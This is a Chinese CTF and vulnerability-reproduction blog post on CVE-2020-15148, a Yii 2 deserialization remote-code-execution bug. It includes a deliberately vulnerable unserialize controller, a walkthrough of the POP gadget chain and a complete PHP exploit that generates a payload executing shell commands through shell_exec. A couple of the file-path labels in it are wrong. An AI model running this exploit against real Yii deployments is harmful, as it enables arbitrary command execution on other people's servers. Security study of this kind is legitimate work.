CVE-2020-15148 Yii反序列化漏洞复现

前言

刚好做了ctfshow web入门267,利用的就是Yii反序列化漏洞,所以试着复现一下CVE-2020-15148 Yii反序列化漏洞,去理解其中的细节,也算是我第一个跟的链子。

漏洞简介

该漏洞适用与Yii2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。

环境搭建

适用phpstudy的集成环境搭建

从github上下载Yii2.0.37 https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz

修改config\web.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。

由于该漏洞需要用户可以控制unserialize的传入值,我们在controllers目录下创建一个Controller

/controllers/TestController.php

    <?php

    namespace app\controllers;

    use Yii;
    use yii\web\Controller;

    class TestController extends Controller
    {
        public function actionIndex(){
            $name = Yii::$app->request->get('test');
            return unserialize(base64_decode($name));    
        }

    }

漏洞复现

一般的链子会通过魔术方法__destruct作为起点,这个漏洞也不例外,我们选用yii\db\BatchQueryResult类中的__destruct作为起点,它会随之调用该类下的reset方法,因为_dataReader这个属性可控,我们又可以调用_dataReader下的close方法。

/vendor/yiisoft/yii2/db/BatchQueryResult.php


    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }


    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

因为调用的方法固定是close,我们这个时候可以考虑寻找有__call魔术方法的类

__call : 在对象中调用一个不可访问方法时,__call会被调用。

我这里采用vscode进行搜索含有__call的类

其中我们可以找到一个Faker\Generator类中的__call方法

/vendor/yiisoft/yii2/db/BatchQueryResult.php

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

 __call调用了format方法,跟进这个方法,发现它调用了call_user_func_array函数

call_user_func_array(callable $callback, array $args): mixed

把第一个参数作为回调函数(callback)调用,把参数数组作(args)为回调函数的的参数传入。

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

 我们在跟进这个getFormatter方法,可以发现第一个if判断的formatters属性我们可以控制,它将会返回到call_user_func_array作为它第一个参数。

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

call_user_func_array的arguments参数我们无法控制,默认为空数组,但可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法

例如

<?php

namespace Foobar;

class Foo {
    static public function test($name) {
        print "Hello world!\n";
    }
}


call_user_func_array(array(new Foo, 'test'), array());

?>

这时候我们去寻找危险函数,例如call_user_func来进行任意代码执行。

全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

 找到yii\rest\IndexAction这个类比较合适,其中的run方法可以直接调用call_user_func函数,并且checkAccess和id两个属性都可控

/vendor/yiisoft/yii2/rest/CreateAction.php

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

所以整个利用链就出来了

yii\db\BatchQueryResult::__destruct()
->
Faker\Generator::__call()
->
yii\rest\CreateAction::run()

EXP

不知道为什么system在web267没有回显,所以我这里换成shell_exec,再把输出复制到文件1中进行查看。

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'cat /flag | tee 1';				//命令执行
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

参考文章:

https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值